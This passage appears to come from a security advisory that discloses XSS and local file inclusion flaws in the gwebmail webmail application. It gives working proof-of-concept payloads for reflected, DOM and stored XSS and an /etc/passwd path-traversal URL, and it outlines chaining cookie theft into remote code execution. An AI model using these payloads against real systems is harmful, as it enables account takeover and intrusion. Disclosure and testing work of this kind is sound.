XSS Can be also triggerd directly using the following url: http://10.0.0.6/gwebmail/?mail#Inbox.Search/<script>alert("XSS")</script>
2. DOM XSS.
http://10.0.0.6/gwebmail/?mail#<script>alert("XSS")</script>
3. Flash XSS (Vulnerable SWFUpload version)
Originally discovered by Neal Poole and Nathan Partlan(https://nealpoole.com/blog/2012/05/xss-and-csrf-via-swf-applets-swfupload-plupload/)
4. Stored XSS in E-mail Subject.
Injection Point: Subject Field
Injection Payload(s): Hi<script>alert("XSS")</script>
Steps to reproduce the XSS:
Send an email to the victim with the payload in the subject field.
XSS Will be triggered in message listings (Inbox etc..) and when user opens the email.
5. Stored XSS in Display Name and contacts display name.
Injection Point: "Name" Field
Injection Payload(s): testuser"><img src='1.jpg'onerror=alert("XSS")>
Steps to reproduce the XSS:
Go to "Settings" -> "Account", In the "Name" field insert XSS payload.
XSS will be triggered on the Account page and on the main page contacts widget.
Injection Point: Username Field, Password Field
Injection Payload(s): "><script>alert("XSS")</script>
7. Post Auth Local File Inclusion.
http://10.0.0.6/gwebmail/?module=../../../../etc/passwd%00
Details:
In order to exploit this LFI the attacker must be logged in to the system with a valid credentials.
It is possible to gain access without credentials by exploiting the XSS issues and steal user cookie in order to gain Remote code execution using the LFI issue.